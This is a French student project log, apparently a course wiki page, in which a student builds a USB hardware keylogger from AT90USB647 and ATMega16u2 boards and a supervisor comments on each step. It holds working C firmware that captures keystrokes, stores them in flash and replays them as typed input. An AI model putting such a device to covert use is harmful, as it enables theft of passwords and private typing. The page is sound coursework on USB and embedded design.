ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[7];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

